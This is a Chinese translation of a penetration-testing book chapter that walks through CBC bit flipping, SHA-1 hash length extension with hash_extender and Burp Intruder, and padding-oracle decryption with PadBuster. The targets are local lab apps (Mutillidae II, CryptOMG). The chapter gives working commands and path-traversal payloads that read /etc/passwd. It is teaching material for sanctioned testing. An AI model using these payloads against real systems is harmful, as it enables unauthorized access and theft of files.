从零开始的-Windows-和-Linux-渗透测试-二-

120 阅读1小时+

从零开始的 Windows 和 Linux 渗透测试(二)

原文:annas-archive.org/md5/9bdf306f3ae0b1954ace2dcf4a6b275a

译者:飞龙

协议:CC BY-NC-SA 4.0

第六章:加密学与渗透测试者

尤利乌斯·凯撒被认为使用了加密技术——这种方法今天被称为凯撒密码。你可能认为历史上最著名的军事将领之一使用的密码会是一个很好的安全示例,但这种方法——一种简单的字母表移位替换密码——可能是最容易破解的密码。人们说,在他那个时代,由于大多数可能会截获他信息的人都不会阅读,所以这种方法被认为是安全的。现在你知道了一些有趣的历史细节,也提醒我们加密学自那时以来已经取得了长足的进步,你的渗透测试客户不会再使用凯撒密码了。

加密学是渗透测试中的一个有趣话题:它是信息安全整个科学中一个如此基础的部分,但在安全测试中往往被忽视。我们已经探讨过通过找到欺骗应用程序发送明文数据的方式来避免攻击加密的任务,但这些攻击并不是加密算法的破坏。在本章中,我们将查看一些直接攻击加密实现的示例。我们将覆盖以下主题:

  • 对密码块链接算法的比特翻转攻击

  • 通过计算能够通过验证的哈希来偷偷提交恶意请求;我们将看到加密填充如何帮助我们

  • 填充 Oracle 攻击;顾名思义,我们将继续探讨填充概念

  • 如何安装强大的 Web 服务器堆栈

  • 在家庭实验室中安装两个故意存在漏洞的 web 应用程序以进行测试

技术要求

本章所需的内容:

  • Kali Linux 运行在笔记本电脑上

  • XAMPP Web 服务器堆栈软件

  • Mutillidae II 漏洞 Web 应用程序

翻转比特——对 CBC 算法的完整性攻击

当我们考虑针对加密密码的攻击时,通常想到的是那些针对密码本身的攻击,这些攻击使我们能够破解密码并恢复明文。需要记住的是,即使密码没有被破解且完整信息未知,信息本身也可能受到攻击。我们来考虑一个简单的流密码的例子。我们将不使用异或位,而是使用十进制数字和模运算。

异或(XOR)是“异或”运算。它只是比较两个输入,如果它们不同,则返回 true。当然,在二进制中,输入要么为真(1),要么为假(0),所以如果两个输入都是1或都是0,结果将是0

我们将使我们的消息为MEET AT NOON,使用01表示A02表示B,依此类推。我们的密钥将是48562879825463728830

  13050520012014151514
+ 48562879825463728830
  --------------------
  51512399837477879344

现在,假设我们无法破解算法,但我们可以在传输过程中拦截到加密的消息,并对一些数字进行修改。使用相同的密钥,随便加一些随机数字,解密后得到的就是一堆无意义的东西。但如果我们只改变一些最后的数字——现在,我们的密钥是51512399837469870948,突然间,明文变成了 MEET AT FOUR。我们没有攻击算法;我们攻击了消息,并且给某些人带来了麻烦。这只是一个粗略的例子,旨在说明攻击消息的概念。现在我们在模运算上玩得很开心,接下来让我们深入探讨更复杂的内容。

块密码和操作模式

在我们这个有趣的小例子中,我们使用的是流密码;数据是按位加密的,直到加密完成。这与块密码不同,块密码顾名思义,是以固定长度的块加密数据。从安全角度来看,这意味着单个数据块的安全加密可以很容易实现;你可以使用与块同样长的高熵密钥材料。但我们的明文数据从来不那么短;数据被拆分成多个块。我们如何不断加密一个又一个的块并将它们连接在一起,这就是所谓的操作模式。正如你所想的,块密码操作模式的设计就是安全性的所在,成功与失败的关键。

让我们来看一下可能是最简单的(我更喜欢用中世纪这个词)块密码操作模式,叫做电子密码本ECB)模式,这个名字来源于二战时期的传统密码本 – 你加密和解密文本块时,并不会利用任何其他信息去影响其他块。如果你加密的是随机数据,这样的模式可能完全可行,但谁会加密随机数据呢?没人;人类编写的消息中总是有规律的。现在,我们将使用 opensslxxd 在 Kali 上进行演示,这是一种很好的加密方法,并且可以查看实际结果。我打算告诉全世界我是一个精英黑客,并且我会反复重复这条信息——你知道的,就是为了强调。我将用 AES-128 加密,操作模式是 ECB,然后使用 xxd 转储结果:

图 6.1 – AES 在 ECB 模式下

图 6.1 – ECB 模式下的 AES

哦,太好了。乍一看,我只看到一堆看起来随机的十六进制字符混杂在一起。一个可靠的加密信息应该无法与随机数据区分,因此我的工作完成了。但等等!仔细一看,确实有一长串字符在整个数据中重复出现:

图 6.2 – 十六进制转储揭示了一个模式

图 6.2 – 十六进制转储揭示了一个模式

你可能看着这个想——那又怎样?你仍然不知道消息是什么。 在密码分析领域,这是一个重大突破。关于良好加密的简单经验法则是:密文应该与明文完全没有关系。在这个例子中,我们已经知道有些东西在重复。攻击消息的努力已经开始。

介绍密码块链

在 ECB 模式下,我们的明文是任凭摆布的,因为每个块都有自己独立的内容。于是有了密码块链CBC),我们像以前一样对一个块进行加密——只是,在加密下一个块之前,我们先将下一个块的明文与前一个块的加密输出进行异或操作,创建一个块链。我知道你们这些黑客现在在想什么:如果我们将明文块与前一个块的加密输出进行异或,那么第一个块的异或输入是什么? 你可真不放过任何细节。没错,我们需要一个初始值——恰如其分地被称为初始化向量IV):

图 6.3 – 密码块链操作

图 6.3 – 密码块链操作

IV(初始化向量)的概念让我想起了客户问我,你怎么看那些密码保管箱应用? 我告诉他们,如果你需要帮助记住密码,它们确实很好,肯定比为所有账户使用相同密码要好——但我总是无法摆脱那种感觉,觉得整个系统都依赖于那个唯一的初始密码。使用 CBC 时,安全性高度依赖于这个 IV。

设置你的比特翻转实验室

了解了一点背景知识后,我们开始吧。我们将对一个 Web 应用进行攻击,实施比特翻转攻击。这个实践演示的好处在于,你将拥有一个强大的 Web 应用黑客实验室,供你继续学习。我敢打赌,你们中的一些人可能之前接触过著名的Damn Vulnerable Web AppDVWA),但最近,我发现自己开始使用 OWASP 项目 Mutillidae II。我喜欢将 Mutillidae II 部署在 XAMPP 服务器堆栈上,因为其初始设置快速且简单,而且它是一个强大的组合;然而,如果你习惯使用你自己的 Web 服务器解决方案,也完全可以。

如果你正在跟着我的实验,那么首先下载 XAMPP 安装程序,chmod 使其具有执行权限,然后运行安装程序。你可以访问 www.apachefriends.org/download.xh… 来找到当前和早期版本:

图 6.4 – 安装 XAMPP

图 6.4 – 安装 XAMPP

安装完成后,你可以在系统上找到/opt/lampp。接下来,我们必须使用git从 GitHub 获取 Mutillidae II 项目。我们希望将所有内容放在/opt/lampp/htdocs,所以你可以在那里运行git clone命令,或者在获取所有文件后使用mv命令:

图 6.5 – 安装 Mutillidae II

图 6.5 – 安装 Mutillidae II

我们差不多完成了,但在开始之前还有一个调整需要做。默认情况下,MySQL 的 root 用户没有设置密码,但 Mutillidae 的默认配置会尝试使用 mutillidae 作为密码。更直接的方法是让数据库配置匹配。找到数据库配置文件,并使用 nano /opt/lampp/htdocs/includes/database-config.inc 命令打开它(或使用你喜欢的编辑器),找到定义 DB_PASSWORD 的那一行,删除 mutillidae,使该值为空:

图 6.6 – 配置数据库

图 6.6 – 配置数据库

终于,我们可以启动 XAMPP 了。运行 ./lampp start,拿起浏览器,前往 localhost:

图 6.7 – 启动 XAMPP

图 6.7 – 启动 XAMPP

当你第一次访问该页面时,可能会看到一个错误,提示你的数据库服务器离线。这个错误下方的第一个选项是一个链接,写着 点击这里尝试设置数据库。点击该链接,再点击 确定,Mutillidae 首页将加载。进入首页后,你需要进行一些最后的调整:点击 Toggle Security 以启用客户端安全性,点击 Toggle Hints(当该选项可见时)以禁用提示,然后点击 Enforce TLS,这样我们就可以在一个更真实的目标环境中进行工作。(记住,浏览器会警告你自签名证书的风险;接受风险并继续。)现在,深呼吸,喝口咖啡——我们可以开始玩我们的新玩具了。

操控 IV 以生成可预测的结果

在左侧导航至 OWASP 2017,然后选择 Injection** | **Other,再选择 CBC Bit Flipping。那么,我们来了解一下。此时,我们正在使用 **用户 ID **174 和 **组 ID **235。为了成为万能的 root 用户,我们需要将用户更改为 000,组更改为 000。该网站使用 SSL 保护,因此拦截传输中的流量会有点麻烦。你还注意到这个网站的其他情况吗?

那么 URL 呢?即,https://127.0.0.1/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba

哇,原来是一个 IV 字段,就在那里等着我们。我们已经看到,IV 会与明文进行异或运算,在加密前创建加密块,因此操作 IV 必然会改变加密输出。首先,让我们来看一下这个 IV 本身:6bc24fc1ab650b25b4114e93a98f1eba。我们知道它是十六进制的,长度为 32 个字符;因此,长度为 128 位。

还记得我们用openssl实验 CBC 加密吗?我们使用了 AES,AES 的块大小始终是 128 位。考虑到我们的 IV 长度是 128 位,应用程序可能正在对单个数据块进行 AES 加密,这样它就是第一个(也是唯一的)数据块,因此 CBC 需要 IV。请记住,任何比算法块大小短的明文块都必须进行填充。注意当你尝试改变 IV 末尾字节时,用户数据会发生什么。

我们可以坐在这里分析一整天,但到现在你可能已经发现我喜欢破坏东西,所以我们来修改 URL 中的 IV,提交它,看看会发生什么。我将初始字符改为零,使 IV 变为0bc24fc1ab650b25b4114e93a98f1eba

图 6.8 – 调整 IV

图 6.8 – 调整 IV

我们的 ID 没有变化,但看看应用程序 ID值发生了什么。现在,它是!1B2。之前是A1B2。如果我将前两个十六进制数字改为零,会发生什么?我们的应用程序 ID现在是*1B2。如果我改动前三个,那么应用程序 ID中的下一个字符就会崩溃,因为得到的二进制值没有 ASCII 表示。现在,我们知道 IV 中的前两个十六进制字符(8 位)修改了应用程序 ID值中的第一个 ASCII 字符(8 位)。这是一个突破,几乎意味着特权提升的最后一程,因为我们刚刚建立了明文和 IV 之间的直接关系,这意味着我们可以解密密文。而当我们知道三个值中的两个时,不管顺序如何,我们都可以通过简单的二进制 XOR 运算算出第三个值。现在,我们还没有找到可以操作用户 ID组 ID值的十六进制数字,但我们先休息一下,看看是否能根据已有的信息找出这个关系。

我们看到应用程序 ID值从A变为!,然后变成了*。因此,ID 是用 ASCII 表示的,这是现代字符编码中最常见的标准。这里对我们重要的是,单个 ASCII 字符是 8 位(1 字节)长。另一方面,十六进制仅仅是一个基数 16 的数字系统。我们在计算机的“肮脏底层”到处都能看到十六进制,因为 16 是 2 的幂,这意味着从二进制(也就是基数 2)转换到十六进制非常容易。 (怎么说“派”很容易呢?算了,我跑题了。)2 的 4 次方等于 16,这意味着一个十六进制数字是 4 位长。现在,让我们回到实验室:

表 6.1

你看到了我们的金色票据了吗?好吧,让我们将二进制 IV 值与应用程序 ID值中的已知二进制 ASCII 结果进行 XOR 运算。如果它们匹配,那么我们得到了与 IV 值进行 XOR 运算生成应用程序 ID值的那个值。记住,如果我们知道三个中的两个,就可以知道第三个。

首先,让我们看看原始的 IV:

  • 十六进制 6b**: **0110 1011

  • ASCII A**: **0100 0001

  • XOR 结果: 0010 1010

现在,让我们看看我们测试过的 IV:

  • 十六进制 00**: **0000 0000

  • ASCII ***: **0010 1010

  • XOR 结果: 0010 1010

这就是,朋友们,为什么他们叫它位翻转。我们发现应用程序正在将 IV 中的这一字节与0010 1010进行 XOR 运算,发生在解密过程中。让我们通过计算,如果我们将前两个十六进制数字替换为45,会得到什么,来验证我们的理论:

  • 十六进制 45**: **0100 0101

  • 密文 XOR: 0010 1010

  • 二进制结果: 0110 1111

01101111 编码为 ASCII o(小写字母O)。所以让我们验证一下我们的理论,看看是否最终会得到一个 Application IDo1B2

图 6.9 – 确认我们对应用程序 ID 属性的控制

图 6.9 – 确认我们对应用程序 ID 属性的控制

难道这不会让你血脉喷张吗?这是一个令人兴奋的突破,但我们只是意识到了一些幕后机制;我们还不是 root。所以,接下来让我们开始寻找需要翻转的位。

翻转到根目录 – 通过 CBC 位翻转实现特权提升

你可能以为我们可以通过一个个十六进制对的方式逐步操作,直到找到正确的位置并翻转取得胜利。其实并不完全是这样。

用户 ID组 ID的编码方式有些奇怪,并且在我们向下处理 IV 时,有不同的密文被用来进行 XOR 操作。所以,在这一点上,完全是依赖我们已经收集到的线索进行反复试验。当我解决这个问题时,我做了一些笔记:

图 6.10 – 用图表将密文与 ID 输出联系起来

图 6.10 – 用图表将密文与 ID 输出联系起来

这有点繁琐,但我只需要玩弄几个字符就能理解这里发生了什么。我发现了两个主要点:

  • 虽然每个位置都是 8 位,但只修改最后 4 位就会改变该位置的用户 ID/组 ID值。例如,我注意到当我将一个位置的两个十六进制字符替换为00时,结果会崩溃(即结果的二进制值不适合 ASCII 编码)。

  • 我对每个字节的后 4 位进行 XOR 计算,以找到我需要的密钥,并发现该值在所有位置并不相同。

你是不是已经期待每个字符都有独特的 XOR 值了?与 IV 进行 XOR 运算的位流不会是一个字节长的重复模式。尽管如此,发现这些值的努力还是值得的,因为现在我们所需要做的就是计算每个位置的 XOR:如果我们将 IV 中的十六进制字符与该位置上用户 ID/组 ID值的十六进制进行 XOR 运算,结果将是该位置的加密位。由于我们在寻找所有零, 所以每个位置的结果就是我们需要放入 IV 中的十六进制字符,而不是原始字符。

让我们用 IV 中的一个例子来解释这个结论:位置09b4,它对应于组 ID值中的中间数字3。十六进制4的二进制是0100,十六进制3的二进制是00110100** XOR **0011等于011101117的二进制等效值,这意味着我们将b4替换为b7,得到0

现在,我必须对所有六个位置重复这个计算,并学到我需要的信息:字节长的 IV 位置0510分别对应用户 ID组 ID值,而每个位置的最后 4 位需要用(按顺序)a2f774的十六进制值替换以获得 root。原始 IV 中的位置05ab,所以它变成了aa;位置0665,所以它变成了62;依此类推。

因此,IV 从第 5 字节到第 10 字节的变化从ab650b25b411变为aa620f27b714

图 6.11 – 关联 IV 字节位置与 ID

图 6.11 – 关联 IV 字节位置与 ID

真相时刻:我要将 IV 从6bc24fc1ab650b25b4114e93a98f1eba改为6bc24fc1aa620f27b7144e93a98f1eba

图 6.12 – 完全控制用户和组 ID 值

图 6.12 – 完全控制用户和组 ID 值

现在我们玩了加密,让我们看看加密哈希以及它们为我们黑客留下的线索。

数据潜入 – 哈希长度扩展攻击

正如你可能记得的,在我们简要介绍的 第四章网络上的 Windows 密码,哈希并不是加密。加密消息可以被解密为可读的消息。而加密哈希,则没有明文表示;它无法被逆向。尽管如此,通过特定哈希算法处理的特定输入将始终产生相同的哈希输出(称为单向函数)。这使得哈希算法在完整性检查中非常有用,因为即使输入有微小变化,也会产生完全不同的哈希输出。然而,我们要考虑到哈希的输出是固定长度的,无论被哈希的消息多长;对于较长的消息,哈希函数是在消息数据的块上轮流进行的,一直到整个消息都被哈希完。

由于结果依赖于所有之前的输入,我们理论上可以向消息中添加数据块,并且用于下一轮的数据将与整个操作在最后一个数据块结束时的情况相同。我们将利用这一点来通过哈希长度扩展攻击攻击消息认证机制,长度扩展指的是我们将自己选择的数据添加到消息的末尾。

这比我们的位翻转冒险要复杂一些,所以我们将引入无与伦比的 Web 应用程序测试框架 Burp Suite,以便让我们俯瞰整个局面。Burp Suite 强大到足以被涵盖在好几个章节中,但在本次演示中,我们将它设置为本地代理,以便能够查看并轻松地操作正在传输的 HTTP 流量。

设置你的哈希攻击实验室

另一个很好的脆弱 Web 应用程序是 CryptOMG。如果你跟着我之前的做法,它的步骤是一样的——安装 XAMPP,下载并解压 CryptOMG ZIP 文件的内容到 htdocs 文件夹,然后运行 ./lampp start

旧版的开始

与 Mutillidae II 不同,CryptOMG 不再被积极支持,并且它依赖于较旧版本的 PHP。因此,你需要访问 Apache Friends 网站上的旧版本 XAMPP 安装程序。它是一个故意设计为脆弱的实验室,因此这不会影响底层漏洞的细节,这种漏洞在针对专用设备和自家开发的应用程序进行内部评估时依然出奇常见。

我们将在本次演示中使用的攻击工具,hash_extender,值得在你的 Kali 安装中保留以供将来使用。其他工具也可以用于该任务(特别是 HashPump),但我更喜欢 hash_extender 的易用性以及它与其他任务的集成。最简单的在 Kali 上运行它的方法是通过 git 安装。请注意,我们还需要确保 SSL 开发工具包已经安装:

git clone github.com/iagox86/has…

apt-get update && apt-get install libssl-dev

cd hash_extender && make

使用./hash_extender启动工具,无需任何参数,先熟悉一下。

理解 SHA-1 的运行状态和压缩函数

在我们的浏览器窗口中,选择挑战 5(获取/etc/passwd的访问权限),将算法改为 SHA-1,点击保存,然后点击test

嗯,我在这里没看到什么变化。但那个 URL 看起来很有趣。查看一下我们能看到的(显然是我们控制的)参数:http://127.0.0.1/ctf/challenge5/index.php?algo=sha1&file=test&hash=dd03bd22af3a4a0253a66621bcb80631556b100e

显然,algo=sha1定义了我们选择的算法。但是file=testhash字段应该引起我们的注意,因为它们看起来像是用于授权访问名为test的文件的消息认证码机制。如果我现在修改哈希值,我将收到文件未找到的错误。在我们进行攻击之前,先快速回顾一下它是如何工作的。

在我们的示例中,访问test文件需要通过附加的哈希进行身份验证。你可能会想,那有什么用呢?所有签名能告诉我的是文件的名字没有被修改。好吧,除非我们在消息中附加了一个密钥,在这种情况下,我们要哈希的是密钥 + 消息。根据我们对哈希的理解,只有密钥 + 消息才能生成正确的哈希。哈希函数是单向函数,因此无法逆向求解密钥。我们想要注入我们的数据,因此必须执行目录遍历攻击来获取/etc/passwd;也就是说,请求一个文件并提供一个有效的哈希来验证请求。表面上看,这似乎是不可能的,但我们忽略了两个关键机制,它们内置在哈希算法中——填充和初始哈希值(也称为寄存器)。

SHA-1 是迭代的。它将消息拆分成 512 位的数据块,然后对每个数据块应用压缩函数。每轮压缩函数有两个输入:来自前一轮的 160 位哈希值,以及下一个 512 位的消息数据块。我能听到你在对着这本书喊,那是不是意味着有初始化向量? 是的,确实有。SHA 算法有一个有趣的特点,它们的初始哈希值(IV)是标准化且固定的。在 SHA-1 中,初始哈希值是67452301efcdab8998badcfe10325476c3d2e1f0。它有 3.97 位的熵,算是一个不错的随机数(但当然,由于它是标准化的,所以并不是随机的——全世界都知道它)。这个初始哈希值被拆分为五个 32 位的块。在哈希过程中,这五个块被存储在寄存器(H0 到 H4)中。这些值被称为运行状态。当整个消息处理完毕,最后一个数据块的压缩函数输出了最终的 160 位运行状态时,这个值就是整个消息的实际 SHA-1 哈希值。

简而言之,每当你看到一个 SHA-1 哈希值时,你看到的就是消息数据最终 512 位区块的最终运行状态。压缩函数将之前的运行状态作为输入之一,回到消息的起始部分和规范定义的初始哈希值。

那么,为什么我们要关注这些细节呢?长度扩展攻击之所以有效的关键在于,SHA-1 哈希不仅仅是整个操作的输出;它是哈希过程中的一个运行状态。假设哈希过程继续进行,处理下一个消息数据区块;倒数第二个区块的运行状态正是我们在这里看到的内容。这个运行状态来自于上一个压缩函数的输出,而这个压缩函数本身也会接收前一个运行状态作为输入,依此类推——直到我们回到初始哈希值作为 160 位输入,第一块消息数据作为 512 位输入,其中包含未知的秘密!首先,我们将创建一个新的消息,在末尾加入攻击者的数据,并加上填充以满足 512 位区块的要求。然后,我们将使用原始哈希作为压缩函数的运行状态输入,以处理最后一个区块,最终我们将得到一个新的哈希,它从第一个秘密区块中派生出来。我们永远不会知道秘密是什么,而且我们也不需要知道——它的“DNA”已经被嵌入到我们拥有的数字中。

图 6.13 – SHA-1 算法的实际应用

图 6.13 – SHA-1 算法的实际应用

我知道此时你心中的黑客在说:由于最终区块会有填充,我们在不知道秘密长度的情况下无法得知填充长度;因此,我们无法在不了解秘密长度的情况下注入数据。没错,但这太简单了,华生!我们将依赖于人类已知的最强大、最危险、最令人震惊的黑客技术之一——我们只需要猜测。秘密的长度不可能是任意的;它必须适应区块的大小。这限制了我们的猜测范围,使其变得可行。但为了让生活稍微轻松一点,我们可以使用 Burp Suite 来发送这些猜测。

使用哈希长度扩展攻击进行数据注入

回到我们的演示。你可能还记得文件的名称是test。这意味着test才是实际数据,因此,512 位的压缩函数输入由一个秘密、test 和填充组成。我们只需要告诉哈希扩展器当前的哈希值、原始数据、秘密长度猜测的字节范围,以及我们想要注入的数据——它会为每个猜测生成一个哈希值。然后,我们可以构建一个包含我们的攻击者数据作为文件名以及我们新的哈希的 URL——如果我们正确猜出了秘密的长度,那么我们的哈希将通过验证。让我们看一下命令:

./hash_extender --data=test --signature=dd03bd22af3a4a0253a66621bcb80631556b100e --append=../../../../../../../etc/passwd --format=sha1 --secret-min=8 --secret-max=50 --table --out-data-format=html > HashAttackLengthGuesses.txt

以下是前述命令中使用的术语:

  • --data 定义了正在验证的数据。在我们之前使用的术语中,这就是我们在提到secret + message时所指的消息。请记住,hash_extender 假设我们知道正在验证的数据(在这种情况下,是要访问的文件名);按定义,我们对secret一无所知。我们唯一希望了解的是secret的长度,但这得通过反复试验来确定。

  • --signature 是已知参数的另一部分:我们知道能够正确验证未修改消息的哈希。记住,我们需要提供将作为下一轮压缩函数输入的运行状态。

  • --append 是我们悄悄塞进门下的数据。这是将被检索的数据,也是我们特别生成的攻击哈希正在验证的内容。在我们的攻击中,我们试图获取etc目录下的passwd文件。我们使用方便的../../../从当前文件系统路径返回到根目录/,然后跳转到/etc/passwd。请记住,通过父文件夹的跳转次数是未知的,因为它取决于这个 Web 应用程序的具体实现,因此我现在先猜测一下。如果需要修改,我之后会知道的。你不需要有效路径来找到新的哈希!

  • --format 是哈希算法。你可以通过哈希长度来确定这个算法,或者可能需要通过一些试验和错误来猜测。

  • --secret-min--secret-max 指定了secret长度猜测的范围,以字节为单位。你的测试的具体情况可能要求你非常小心地使用这个范围——例如,我这里使用了一个相当宽的范围,因为我在实验室中,打算使用 Burp Suite 和 Intruder,并且我知道该 Web 应用程序无法防御快速的请求。一些系统可能会把你锁定!你可能需要手动输入 URL,就像过去那样。

  • --table 将通过将结果按表格格式组织起来,使我们的结果更加美观。

  • --out-data-format 在系统期望数据以例如十六进制格式呈现的情况下非常有用。在我们的案例中,我们希望以 HTML 格式输出,因为我们只是打算将这些信息输入到 Web 请求中。

  • 最后,我让 Linux 将输出内容保存到一个文本文件中。

继续查看结果。你会看到它是一个哈希值列表,和我们希望注入的数据排成一行;每一行会有不同数量的填充字符,具体取决于猜测的secret长度。你为secret-minsecret-max定义的范围越大,这里就会有更多的行。

现在,我可以启动 Burp Suite,它默认在端口8080上创建一个本地 HTTP 代理。当我准备好让 Burp Suite 参与其中时,我必须配置浏览器的网络设置,将其连接到我的代理127.0.0.1:8080。然后,我必须再次点击 CryptOMG 页面上的test链接,创建一个新的GET请求,等待 Burp Suite 拦截。当我看到它时,我必须右键点击并将其发送到 Intruder。

Intruder 是一个激进的工具,用来发出带有自定义参数的请求,而这些自定义参数就是我们所定义的有效载荷。请注意,有效载荷是通过分隔符符号来定义的。只需高亮显示你希望替换为有效载荷的文本,然后点击右侧的添加按钮。我们已经知道我们的算法是 SHA-1,并且不会改变它,所以我只定义了file=hash=作为有效载荷位置:

图 6.14 – 在 Burp Suite 中设置有效载荷位置

图 6.14 – 在 Burp Suite 中设置有效载荷位置

接下来,我们点击Payloads标签,这样我们就可以定义刚才定义的有效载荷位置中将放置的内容。对于这部分内容,你需要先做一些准备工作。你需要为每个有效载荷位置准备两个单独的列表。hash_extender 给了我们所需的一切,但它是一个以空格分隔的文本文件。如何分隔这些列由你决定(其中一种方法是使用电子表格软件)。

我按照位置顺序定义有效载荷集合;例如,由于file=参数是我从左到右读取时遇到的第一个位置,所以我必须将攻击者数据列表设为Payload set 1。然后,我的哈希列表放入Payload set 2。现在,乐趣可以开始了——武器解除!

图 6.15 – 配置有效载荷集合

图 6.15 – 配置有效载荷集合

拿上一杯咖啡,放松一下,随着 Intruder 发出一个又一个GET请求,每个请求都根据我们的有效载荷定义包含了自定义参数。那么,如果某个特定的文件名和验证哈希组合是错误的,会发生什么呢?我们会收到文件未找到的错误——在 HTTP 状态码中,就是 404。总共发出了 27 个请求后,检查我们的状态列——我们收到了 HTTP 200 代码。 bingo——我们创建了一个恶意请求并验证了哈希。让我们点击Response标签,沉浸在我们发现的宝藏中。糟糕——无法打开流:没有这样的文件或目录?这怎么回事?

我们可以确定的一件事是密钥的字节长度。请注意,具有相同哈希值的猜测数量,但只有请求成功了。那是因为找到哈希值只是乐趣的一部分——我们需要的是密钥的确切长度。Payload1 列中的每一项都是我们的数据,具有不同的填充长度。由于我们已经定义了确切的范围,现在只是数一下成功所需的请求次数而已。我们已经是第 26 次请求,从 8 字节的密钥长度开始,所以密钥的长度是 34 字节:

图 6.16 – 找到我们的黄金票

图 6.16 – 找到我们的黄金票

至于文件未找到的问题,我们只是没有爬到正确的父文件夹级别以访问/etc/passwd。尽管如此,我们提供了正确填充长度和有效哈希的数据,因此系统认为我们是被授权的;它只是告诉我们它找不到我们有权限窃取的内容。

现在我们知道了密钥的长度,我们可以回到手动请求。这一部分将需要传统的“试错法”。我将继续添加跳跃,直到成功。过不了多久,我就能说服主机吐出passwd文件:

图 6.17 – 捕获标志

图 6.17 – 捕获标志

现在,我们将以不同的方式看待问题——这一次,我们将查看带有填充的密文,以及一个在填充破坏时会友好地告诉我们的权威。我们将发现,这对坏人来说信息有点太多了。

使用 PadBuster 破解填充 oracle

安全的加密系统不应该泄露任何与加密消息相关的明文信息。Oracle 攻击强有力地展示了即使是一些看似无意义的信息,也能使你获得完整的解密消息。我们的 CryptOMG 网络应用提供了一个可以通过利用填充 oracle 来解决的挑战:这是一个在解密过程中告诉我们填充有效性而不泄露密钥或消息的系统。让我们开始和我们的 oracle 进行一些对话,看看这些响应是什么样的。

询问填充 oracle

让我们加载 CryptOMG 主页面并选择第一个挑战(和上次一样,我们的目标是**/etc/passwd**)。在测试页面中,页面的实际内容没有任何有趣的地方,所以让我们检查一下 URL:http://127.0.0.1/ctf/challenge1/index.php?cipher=3&encoding=2&c=81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc5387d57911ee7565c5a829

看看c=字段。那是 64 个十六进制字符(256 位)。可以肯定地说,我们正在处理某种密文。再次提醒,以一种仅仅为了打破东西看看会发生什么的精神,让我们翻转一些位。

首先,让我们修改字符串开头的一些位,并重新提交请求:

图 6.18 – 修改位,但没有服务器错误

图 6.18 – 调整比特但无服务器错误

这很有趣,因为这个错误表明解密成功了。服务器告诉我们解密了一个文件请求;问题在于该文件不存在。服务器告诉我们这一点意味着它理解了我们的请求 - 尽管不知道加密消息的内容。

现在,让我们试着修改一些位于 256 位加密值尾部的位,并重新提交它:

图 6.19 – 填充神谕告诉我们我们已经破解了填充

图 6.19 – 填充神谕告诉我们我们已经破解了填充

我们都有那种总是说太多话,最终泄露了太多信息的朋友。在这种情况下,我们的朋友是一个神谕 - 一个无意中透露有用攻击信息的系统,即使信息本身应该是无意义的。我们刚刚得知这条消息中有填充,使其成为块密码;让我们假设是 AES 的 CBC 模式。最重要的是,我们知道目标正在作为填充神谕运行,告诉我们加密消息中填充的有效性状态。

让我们用 PadBuster 攻击这个演示中的填充神谕。一旦我们获取了我们的 passwd 文件,我们就可以看看幕后发生了什么。

使用 PadBuster 解密 CBC 块

首先,我们需要安装 PadBuster:

apt install padbuster

如果您不带任何参数运行 PadBuster,您将获得一个帮助屏幕,向您提供其简单的使用要求:您只需要 URL、加密数据块本身和块大小(以字节为单位)。由于我们假设是 AES,块大小将是 128 位(128 / 8 = 16 字节):

padbuster "http://127.0.0.1/ctf/challenge1/index.php?cipher=

3&encoding=2&c=81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc5387d

57911ee7565c5a829" 81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc

5387d57911ee7565c5a829 16 -noiv -encoding 1

不要担心这里的加密消息与您实验室中的不匹配;它每次会话都会更改。基本使用格式是 padbuster "[url]" [message] [block size],但我们在结尾添加了两个选项:

  • -noiv 指定我们没有已知的初始向量;它不像在我们之前的演示中在 URL 中,所以我们在没有它的情况下粗略推测,因为它将从第一个 [块大小] 字节中派生。

  • -encoding 1 非常重要,因为我们告知 PadBuster 使用较低的十六进制(小写字母)编码。

当我们执行命令时,PadBuster 与神谕进行交流。我们看到了一个包含基于神谕答案的响应签名的表格。PadBuster 会为您推荐一个,但我们在篡改填充时已经看到了 500 状态代码,所以这是我们应该选择的:

图 6.20 – PadBuster 中的响应分析

图 6.20 – PadBuster 中的响应分析

然后,PadBuster 开始基于它收集到的信息进行解密。大约 10 秒钟后,我们将得到解密结果:一些随机的 ASCII 字符,一个管道符号,和文件路径。现在我们知道了消息的格式,我们将逆向处理,生成一个包含请求的加密消息:

图 6.21 – 不同格式的解密数据

图 6.21 – 不同格式的解密数据

我们只是回过头来,使用相同的命令,但在最后加上plaintext标志。就这样。PadBuster 让这一切变得简单了:

padbuster "http://127.0.0.1/ctf/challenge1/?&c= 81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc5387d57911ee7565c

5a829" 81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc5387d

57911ee7565c5a829 16 -noiv -encoding 1 -plaintext "lFA5\C84VQE_T|../../../../../../../../../etc/passwd"

这将输出一个加密值。现在,我们只需将 URL 中的c=值替换为以下字符串:

图 6.22 – 我们需要发送的加密值

图 6.22 – 我们需要发送的加密值

现在,我们可以将其粘贴到 URL 中并按Enter,瞧!——服务器理解了我们的请求:

图 6.23 – 捕获的标志

图 6.23 – 捕获的标志

那么,PadBuster 是如何完成这一神奇的壮举的呢?让我们来看看加密中填充的标准。

Oracle 填充攻击的幕后

PadBuster 讲的是填充的“语言”。这只是一种诗意的说法,意思是填充并非随意的;它遵循一个标准,而 PadBuster 根据这个标准生成请求。在 CBC 模式加密算法的操作中,我们遇到的填充被称为PKCS#5**/**PKCS#7填充。

这个缩写并不像看起来那么可怕;它只是指公钥密码学标准,这是一个始于 1990 年代描述专有技术的标准系列。#5和*#7分别指代这两个标准中的第五和第七个标准。它们描述的不仅仅是填充,但这里相关的填充方法就来源于这些标准。我们在这里交替使用这两者,因为#5#7之间的唯一区别是,#7定义了 8 或 16 字节(64 位和 128 位)的块大小;而#5*仅定义了 8 字节/64 位的块大小。

这个概念很简单。正如我们所知,块加密的核心是其固定长度的数据块。当然,需要加密的消息长度并不是固定的;它们可以像“Hello, World!”一样短,也可以像齐默曼电报那样长。此时填充就派上用场了。PKCS#5/PKCS#7使用填充字节,这些字节实际上只是十六进制数字。这个数字等于填充字节的数量。例如,如果有五个填充字节,它们都将是 0x05。如果消息恰好可以被块大小整除,那么就会附加一个额外的块,内容全部为填充字节(其值根据定义等于块大小的字节数)。这样做的目的是提供这种设计固有的错误检查机制。所以,如果我来解密一条消息,结果发现有五个填充字节,值为 0x07,那么你猜这个聪明的 oracle 告诉我什么预言?填充错误。

